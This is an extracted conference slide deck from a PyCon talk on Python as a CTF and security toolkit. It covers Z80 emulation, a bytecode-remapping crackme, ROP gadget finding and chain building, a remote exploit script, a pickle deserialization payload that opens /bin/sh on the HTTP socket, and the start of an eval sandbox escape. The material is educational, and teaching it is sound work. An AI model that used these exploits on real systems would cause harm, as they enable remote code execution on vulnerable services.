1 of 118

2 of 118

Python in a hacker's toolbox

Gynvael Coldwind, PyConPl'15, Ossa k. Rawy Mazowieckiej

(a compilation of old and new material)

Warning, may contain:

machine bytecode

hexadecimal data representation

assembly

a significant amount of bad-quality ad-hoc code

3 of 118

About

All opinions expressed during this presentations are mine and mine alone. They are not opinions of my lawyer, barber and especially not my employer.

4 of 118

Dragon Sector

  • A Capture The Flag team

gynvael adami j00ru Mawekl

Redford mak vnd valis

tkd q3k Keidii jagger lympho

CODEGATE

Seoul, S. Korea

DEF CON CTF

Las Vegas, US

Insomni'hack

Geneva, Switzerland

SECCON

Tokyo, Japan

5 of 118

Main Menu

A random mix (and I do mean it) of:

Python as the language of choice for creating

ad-hoc security related tools

&

Python itself as a fascinating subject

for security related research

6 of 118

ZX Spectrum instrumentation

Task: Find a password that gives you a meaningful picture.

7 of 118

ZX Spectrum instrumentation

Task: Find a password that gives you a meaningful picture.

8 of 118

ZX Spectrum instrumentation - long story short

A lot of reverse engineering Z80 code

IDA Pro

ZX Spin

9 of 118

ZX Spectrum instrumentation

16-bit number

0x6081

0x8785

10 of 118

ZX Spectrum instrumentation

for h in xrange(0x10000):

0x6081

0x8785

file("all.txt", "w").write(img)

11 of 118

ZX Spectrum instrumentation

import z80

import z80da

import memory

...

class memmap:

def __init__(self):

self.ram = memory.ram(16)

self.ram.load_file(0, "memdump_b")

...

# Init system.

m_mem = memmap()

m_io = io()

cpu = z80.cpu(m_mem, m_io)

ff = open("all.txt", "w")

12 of 118

ZX Spectrum instrumentation

import z80

import z80da

import memory

...

class memmap:

def __init__(self):

self.ram = memory.ram(16)

self.ram.load_file(0, "memdump_b")

...

# Init system.

m_mem = memmap()

m_io = io()

cpu = z80.cpu(m_mem, m_io)

ff = open("all.txt", "w")

# For all possible hash values...

for hhh in xrange(0,0x10000):

# Setup initial CPU state.

cpu._set_pc(0x6081)

cpu.a = 0x35

cpu.f = 0x42

cpu.b = 0

cpu.c = 0

cpu.d = 0x81

cpu.e = 0x15

cpu.ix = 0x6304

cpu.iy = 0x5c3a

cpu.sp = 0x5ffe

# Test hash.

cpu.h = (hhh >> 8) & 0xff

cpu.l = hhh & 0xff

while cpu._get_pc() != 0x60a8:

cpu.execute()

13 of 118

ZX Spectrum instrumentation

all.txt

~150 MB

(IDDQD)

14 of 118

What’s wrong with this? (Hack.lu 2013, 250)

hello.tar

15 of 118

What’s wrong with this? (Hack.lu 2013, 250)

library.zip

...

__main__hello__.pyc

...

16 of 118

What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc

[Names]

'sys'

'hashlib'

'sha256'

'dis'

'multiprocessing'

'UserList'

'encrypt_string'

'rot_chr'

'SECRET'

'argv'

17 of 118

What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc

[Names]

'sys'

'hashlib'

'sha256'

'dis'

'multiprocessing'

'UserList'

'encrypt_string'

'rot_chr'

'SECRET'

'argv'

[Code]

Object Name: encrypt_string

...

[Disassembly]

0 BUILD_LIST 0

3 STORE_FAST 1: new_str

6 SETUP_LOOP 99 (to 108)

9 LOAD_GLOBAL 0: enumerate

12 LOAD_FAST 0: s

15 CALL_FUNCTION 1

18 <INVALID>

18 of 118

What’s wrong with this? (Hack.lu 2013, 250)

__main__hello__.pyc

[Names]

'sys'

'hashlib'

'sha256'

'dis'

'multiprocessing'

'UserList'

'encrypt_string'

'rot_chr'

'SECRET'

'argv'

# Source Generated with Decompyle++

# File: __main__hello__.pyc (Python 2.7)

import sys

import dis

import multiprocessing

import UserList

def encrypt_string(s):

pass

# WARNING: Decompyle incomplete

19 of 118

What’s wrong with this? (Hack.lu 2013, 250)

They changed Python's bytecode opcodes.

20 of 118

What’s wrong with this? (Hack.lu 2013, 250)

They changed Python's bytecode opcodes.

For example:

...

114 LOAD_FAST 1: new_str

117 CALL_FUNCTION 1

120 IMPORT_STAR

<the end>

21 of 118

What’s wrong with this? (Hack.lu 2013, 250)

They changed Python's bytecode opcodes.

For example:

...

114 LOAD_FAST 1: new_str

117 CALL_FUNCTION 1

120 IMPORT_STAR

<the end>

#define RETURN_VALUE 83

#define IMPORT_STAR 84

22 of 118

What’s wrong with this? (Hack.lu 2013, 250)

53 ↔ 54

62 ↔ 63

44 ↔ 45

19 ↔ 18

57 ↔ 58

23 of 118

What’s wrong with this? (Hack.lu 2013, 250)

53 ↔ 54

DELETE_SLICE vs STORE_MAP

62 ↔ 63

BINARY_LSHIFT vs BINARY_RSHIFT

44 ↔ 45

? vs ?

19 ↔ 18

BINARY_POWER vs ?

57 ↔ 58

INPLACE_MULTIPLY vs INPLACE_DIVIDE

24 of 118

What’s wrong with this? (Hack.lu 2013, 250)

BUILD_LIST 0

STORE_FAST 1 (new_str)

SETUP_LOOP 98 (to 107)

...

GET_ITER

...

COMPARE_OP 2 (==)

POP_JUMP_IF_FALSE 68

LOAD_FAST 1 (new_str)

...

JUMP_ABSOLUTE 19

LOAD_FAST 1 (new_str)

...

JUMP_ABSOLUTE 19

POP_BLOCK

...

RETURN_VALUE

FOR_ITER 85 (to 107)

encrypt_string

25 of 118

What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

26 of 118

What’s wrong with this? (Hack.lu 2013, 250)

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

27 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

<item on the stack>

28 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

29 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

30 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

31 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

32 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

33 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

34 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

(ord(c)-33+amount) % 94

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

35 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

(ord(c)-33+amount) % 94

(ord(c)-33+amount) % 94 <33>

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

36 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

(ord(c)-33+amount) % 94

(ord(c)-33+amount) % 94 <33>

(ord(c)-33+amount) % 94 + 33

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

37 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

(ord(c)-33+amount) % 94

(ord(c)-33+amount) % 94 <33>

(ord(c)-33+amount) % 94 + 33

chr((ord(c)-33+amount) % 94 + 33)

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

38 of 118

What’s wrong with this? (Hack.lu 2013, 250)

<c>

ord(c)

ord(c) <33>

ord(c)-33

ord(c)-33 <amount>

ord(c)-33+amount

ord(c)-33+amount <94>

(ord(c)-33+amount) % 94

(ord(c)-33+amount) % 94 <33>

(ord(c)-33+amount) % 94 + 33

chr((ord(c)-33+amount) % 94 + 33)

return chr(ord(c)-33+amount) % 94 + 33)

LOAD_GLOBAL 0 (chr)

LOAD_GLOBAL 1 (ord)

LOAD_FAST 0 (c)

CALL_FUNCTION 1

LOAD_CONST 1 (33)

BINARY_SUB

LOAD_FAST 1 (amount)

BINARY_ADD

LOAD_CONST 2 (94)

BINARY_MODULE

LOAD_CONST 1 (33)

BINARY_ADD

CALL_FUNCTION 0

RETURN_VALUE

rot_chr

39 of 118

What’s wrong with this? (Hack.lu 2013, 250)

def rot_xchr(c, amount):if amount < 0:� amount += 94return chr(((ord(c) - 33) + amount) % 94 + 33)��SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'

x = rot_xchr(SECRET[0], -10)�i = 0for ch in SECRET[1:]:� x += rot_xchr(ch, -ord(SECRET[i]))� i += 1print x

40 of 118

ROP 101

The good old buffer overflow (but not only).

RETURN ADDRESS

...

an unlucky buffer

(gets overflown)

Think C/C++/ObjC

...

some thread's stack

41 of 118

ROP 101

The good old buffer overflow (but not only).

RETURN ADDRESS

...

an unlucky buffer

(gets overflown)

...

some thread's stack

42 of 118

ROP 101

The good old buffer overflow (but not only).

SHELLCODE

EVIL

RETURN ADDRESS

...

...

an unlucky buffer

(gets overflown)

...

ret (pop instruction pointer)

some thread's stack

43 of 118

ROP 101

It's not like that anymore of course - NX/XD bit

SHELLCODE

EVIL

RETURN ADDRESS

...

...

some thread's stack

an unlucky buffer

(gets overflown)

...

ret (pop instruction pointer)

44 of 118

ROP 101

It's not like that anymore of course - NX/XD bit

(whatever)

EVIL

RETURN ADDRESS

...

an unlucky buffer

(gets overflown)

gadget 1

ret

VALUE

EVIL

RETURN ADDRESS

EVIL

RETURN ADDRESS

...

some thread's stack

gadget 2

ret

gadget 3

ret

45 of 118

ROP 101

It's not like that anymore of course - NX/XD bit

gadget 1

...

machine code

(app, libraries)

gadget 2

gadget 3

...

46 of 118

ROP 101

It's not like that anymore of course - NX/XD bit

gadget 1

0x1f56a sub eax, 0x3a04f1

0x1f56f mov [rip+0x3a04da], rax

0x1f576 pop rax

0x1f577 pop rbx

0x1f578 pop rcx

0x1f579 ret

0x1f57a nop

gadget 2

47 of 118

ROP - finding gadgets

How about Python?

import distorm3 # https://code.google.com/p/distorm/downloads/list��# XXX Setup here XXX�TARGET_FILE = "libc.so.6"�FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start�FILE_OFFSET_END = 0x165F88 # In-file offset of scan start�VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET�X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64# XXX End of setup XXX��

disassembly engine of choice

48 of 118

ROP - finding gadgets

How about Python?

def DecodeAsm(pc, d):� disasm = distorm3.Decode(pc, d, X86_MODE)� k = []� l = ""� ist = ""for d in disasm:� addr = d[0]� size = d[1]� inst = d[2].lower()� t = "0x%x %s" % (addr,inst)� l += t + "\n"� ist += "%s\n" % (inst)� k.append((addr,inst))if inst.find('ret') != -1:break�� return (l,k,ist)

"\xB8\x78\x56\x34\x12\xC3"

[

"0x1234 mov eax, 0x12345678",

"0x1239 ret"

]

49 of 118

ROP - finding gadgets

How about Python?

UNIQ = {}�d = open(TARGET_FILE, "rb").read()for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):(cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20])if cc.find('ret') == -1:continueif cc.find('db ') != -1:continueif ist in UNIQ:continue� UNIQ[ist] = Trueprint "------> offset: 0x%x" % (i + VA)for k in kk:print "0x%x %s" % (k[0],k[1])if k[1].find('ret') != -1:breakprint ""

------> offset: 0x1f667

0x1f667 pop rbp

0x1f668 pop r12

0x1f66a ret

------> offset: 0x1f668

0x1f668 pop r12

0x1f66a ret

------> offset: 0x1f669

0x1f669 pop rsp

0x1f66a ret

e.g. 5 MB (if we're lucky)

50 of 118

ROP - creating payload

Python!

# MY Little ROP, Libc Is Magic!from struct import pack�LIBC=0��def dq(v): # data quad wordreturn pack("<Q", v)��def set_rdi(rdi):# ------> offset: 0x22b1a# 0x22b1a pop rdi# 0x22b1b ret� o = ""� o += dq(LIBC + 0x22b1a)� o += dq(rdi)return o

51 of 118

ROP - creating payload

Python!

def rop_read(fd, buf, count):� READ = LIBC + 0xEB800� o = ""� o += set_rdi(fd)� o += set_rsi(buf)� o += set_rdx(count)� o += syscall(0)return o�

52 of 118

ROP - creating payload

Python!

def gimme_gimme(libc):� o = ""� � # mmap� o += rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,� MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0)�� # read� o += rop_read(0, ADDR, 0x1000)�� # jmp� o += dq(ADDR)�� return o

53 of 118

ROP - creating payload

Python!

def gimme_gimme(libc):� o = ""� � # mmap� o += rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,� MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0)�� # read� o += rop_read(0, ADDR, 0x1000)�� # jmp� o += dq(ADDR)�� return o

54 of 118

ROP - creating payload

Example qwords:

--> 48857

--> 0

--> f09c1

--> 0

--> 0

--> 22b1a

--> 700000001000

--> 24805

--> 1000

--> bcee0

--> 7

--> 112ecf

--> 32

--> 127906

--> ffffffffffffffff

--> f49c0

--> 22b1a

--> 0

--> 24805

--> 700000001000

--> bcee0

--> 1000

--> 48857

--> 0

--> 113828

--> 700000001000

55 of 118

ROP - example exploit

def add(s, size):

s.send(dd(0) + dq(size))

return struct.unpack('<I', s.recv(4))[0]

...

# Connect to remote host

s = socket.socket()

s.connect((host, port))

...

add(s, 2 ** 34)

...

write(s, new_pad_idx, "A" * 8)

leak_idx = add(s, 1)

print("[+] leak_idx: %x" % leak_idx)

...

# Write the ROP chain to stack and trigger it at the same time.

import mylittlerop

write(s, new_pad_idx, struct.pack(

'<QQQQ', 0x41414141,

stack_addr + 0x288, 0x42424242, 1))

write(s, 0x41414141,

mylittlerop.gimme_gimme(libc_base),

no_reply = True)

os.system("nasm getflag2.nasm")

s.send(open("getflag2", "rb").read())

56 of 118

ROP - telnetlib

import telnetlib

...

t = telnetlib.Telnet()

t.sock = s

t.interact()

57 of 118

Pickle - P is for pwned

Target:

A webservice of a certain company

58 of 118

Pickle - P is for pwned

Looking around we find...

Cookies!

59 of 118

Pickle - P is for pwned

state cookie:

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC0tIgpwMgpzLg==:

what's this?

60 of 118

Pickle - P is for pwned

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:

>>> sess.decode("base64")

"(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns."

61 of 118

Pickle - P is for pwned

(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np4\ns.

>>> import pickle

>>> pickle.loads(sess.decode("base64"))

{'username': None, 'SID': '1cfccdb3388453f56ecca079115c6d61', 'login_time': None}

62 of 118

Pickle - P is for pwned

63 of 118

Pickle - P is for pwned

Object deserialization - a quick review

*/JSON

No object support.

64 of 118

Pickle - P is for pwned

Object deserialization - a quick review

PHP/unserialize

"Static" object creation.

Calls __wakeup()

Eventually calls __destruct()

65 of 118

Pickle - P is for pwned

Object deserialization - a quick review

Python/pickle

A selected constructor from

a selected module

for a selected class

is called.

eg. subprocess.Popen

66 of 118

Pickle - P is for pwned

# https://blog.nelhage.com/2011/03/exploiting-pickle/class Exploit(object):� def __reduce__(self):� fd = 20 # ←----------------------------------- ???� return (subprocess.Popen,� (('/bin/sh',), # args� 0, # bufsize� None, # executable� fd, fd, fd # std{in,out,err}� ))�print base64.b64encode(pickle.dumps(Exploit()))

Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou

67 of 118

Pickle - P is for pwned

fd = 20

HTTP Connection

20 -> socket:[12345]

stdin (0)

stdout (1)

stderr (2)

/bin/sh

HTTP

Server

68 of 118

Pickle - P is for pwned

state - a "better" version

SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5fdGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMApTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARCH:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou:

69 of 118

Pickle - P is for pwned

IDDQD

70 of 118

GDB scripted with Python

GDB has wonderful Python API!

Getting a registry value is as easy as:

import gdb

print int(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16)

71 of 118

GDB scripted with Python

turututu (OCAML crackme, PHDays Quals CTF 2014)

The strings were stored and processed as lists. Really hard to see what's going on.

def print_list(addr, next_off=8, mod=False):

if addr == 1:

print " <li> 0: 1"

print " <li> --"

return

i = -1

r = addr

while r != 1:

i += 1

item = ExprAsInt("*(void**)0x%x" % r)

if mod != False:

item = mod(item)

else:

...

...

item = "%x" % item

print " <li> %2u: 0x%.16x ---> %s" % (

i, r, item)

# Next.

r = ExprAsInt("*(void**)(0x%x+%u)" %

r, next_off))

print " <li> --"

return

72 of 118

GDB scripted with Python

turututu (OCAML crackme, PHDays Quals CTF 2014)

--- walk_through_list_rsi

<li> 0: 0x0000000000621da0 ---> H [91 | 1]

<li> 1: 0x0000000000621db8 ---> a [c3 | 1]

<li> 2: 0x0000000000621dd0 ---> t [e9 | 1]

<li> 3: 0x0000000000621de8 ---> r [e5 | 1]

<li> 4: 0x0000000000621e00 ---> n [dd | 1]

<li> 5: 0x0000000000621e18 ---> D [89 | 1]

<li> 6: 0x0000000000621e30 ---> y [f3 | 1]

<li> 7: 0x0000000000621e48 ---> r [e5 | 1]

<li> 8: 0x0000000000621e60 ---> t [e9 | 1]

<li> --

73 of 118

74 of 118

Python in other debuggers

  • A lot of debuggers have scripting.
    • Usually in Python :)�
  • For example:
    • There is Python for WinDbg
    • ImmunityDbg has Python as well
    • Hey, even IDA has Python!

75 of 118

76 of 118

„Sandbox”

A calculator.

What could possible

go wrong?

77 of 118

„Sandbox”

POST /calc HTTP/1.1

{"formula": "6*9"}

HTTP/1.1 200 OK

{"result": "42"}

HTTP SERVER

78 of 118

„Sandbox”

POST /calc HTTP/1.1

{"formula": "0/0"}

HTTP/1.1 200 OK

{"error": "ZeroDivisionError"}

HTTP SERVER

79 of 118

„Sandbox”

1+open("/etc/passwd")+1

NameError

TypeError

Damn Kids!

Get Off My Lawn!

?

?

?

80 of 118

„Sandbox”

1+open("/etc/passwd")+1

NameError

81 of 118

„Sandbox”

1+len([1,1,1])+1

NameError

5

Damn Kids!

Get Off My Lawn!

?

?

?

82 of 118

„Sandbox”

1+len([1,1,1])+1

NameError

Probable Python Sandbox:

eval("formula",

{"__builtins__": None,

"sin": math.sin,

... }, # Globals

{}) # Locals

83 of 118

„Sandbox”

1+[1,1,1].__len__()+1

NameError

5

Damn Kids!

Get Off My Lawn!

?

?

?

84 of 118

„Sandbox”

1+[1,1,1].__len__()+1

5

85 of 118

„Sandbox”

{}

{}

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']

dir(formula)

86 of 118

„Sandbox”

{}.__class__

<type 'dict'>

['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues']

+ hidden: __base__

dir(formula)

87 of 118

„Sandbox”

{}.__class__.__base__

<type 'object'>

['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

+ hidden: __subclasses__

dir(formula)

88 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__

<built-in method __subclasses__ of type object at 0x9175e0>

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

dir(formula)

89 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

dir(formula)

90 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()[59]

<class 'warnings.catch_warnings'>

['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

dir(formula)

version dependent

91 of 118

„Sandbox”

{}.__class__.__base__

.__subclasses__()[59]()

catch_warnings()

